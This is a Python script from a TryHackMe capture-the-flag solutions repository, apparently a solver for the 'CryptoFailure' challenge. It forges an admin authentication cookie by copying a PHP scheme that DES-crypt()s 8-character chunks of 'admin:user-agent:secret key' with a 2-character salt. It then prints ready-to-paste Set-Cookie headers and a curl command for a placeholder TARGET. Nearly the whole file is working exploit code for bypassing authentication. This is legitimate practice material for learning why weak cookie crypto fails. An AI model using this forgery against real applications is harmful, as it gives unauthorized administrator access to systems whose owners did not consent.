Files
TryHackMe/CTF/CryptoFailureV1.1/python_create_cookie.py
2025-12-04 09:57:17 +01:00

70 lines
2.7 KiB
Python

#!/usr/bin/env python3
# generate_admin_cookie_passlib.py
# Produces ready-to-use Set-Cookie headers for user=admin replicating PHP crypt() with 2-char salt.
#
# Requires: pip install passlib
#
import sys
import time
import random
import email.utils
from passlib.hash import des_crypt # pip install passlib
def generatesalt(n=2):
characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
return ''.join(random.choice(characters) for _ in range(n))
def make_secure_cookie(text, salt):
"""
Replicates the PHP code:
foreach (str_split($text, 8) as $el) { $secure_cookie .= crypt($el, $SALT); }
using DES-based crypt (2-char salt). Each chunk becomes a 13-char crypt output;
these are concatenated to form the secure_cookie.
"""
chunks = [text[i:i+8] for i in range(0, len(text), 8)]
out = "".join(des_crypt.hash(chunk, salt=salt) for chunk in chunks)
return out
def http_expires_secs(seconds_from_now=3600):
return email.utils.formatdate(time.time() + seconds_from_now, usegmt=True)
def generate_admin_cookie(enc_secret_key, user_agent=None, salt=None, lifetime=3600):
if user_agent is None:
user_agent = "Mozilla/5.0 (X11; Linux x86_64)"
if salt is None:
salt = generatesalt(2)
secure_cookie_string = f"admin:{user_agent}:{enc_secret_key}"
secure_cookie = make_secure_cookie(secure_cookie_string, salt)
expires = http_expires_secs(lifetime)
return {
"user": "admin",
"secure_cookie": secure_cookie,
"salt": salt,
"expires": expires,
"path": "/"
}
def main():
args = sys.argv[1:]
if len(args) >= 1:
ENC_SECRET_KEY = args[0]
else:
print("Usage: python generate_admin_cookie_passlib.py <ENC_SECRET_KEY> [User-Agent] [salt]")
sys.exit(1)
ua = args[1] if len(args) >= 2 else "Mozilla/5.0 (X11; Linux x86_64)"
salt_arg = args[2] if len(args) >= 3 else None
cookie = generate_admin_cookie(ENC_SECRET_KEY, user_agent=ua, salt=salt_arg)
print("# Ready-to-use Set-Cookie headers (paste into Burp / DevTools -> Request Headers)")
print(f"Set-Cookie: user={cookie['user']}; Expires={cookie['expires']}; Path={cookie['path']}")
print(f"Set-Cookie: secure_cookie={cookie['secure_cookie']}; Expires={cookie['expires']}; Path={cookie['path']}")
print("\n# Example: curl with cookies (server sees your request's User-Agent):")
print(f"curl -A \"{ua}\" -b \"user={cookie['user']}; secure_cookie={cookie['secure_cookie']}\" http://TARGET/")
print("\n# If you want to use a specific salt (e.g. to match an existing cookie's salt), pass it as the 3rd arg.")
print("# Note: replace TARGET with the challenge domain/host when using curl.")
if __name__ == "__main__":
main()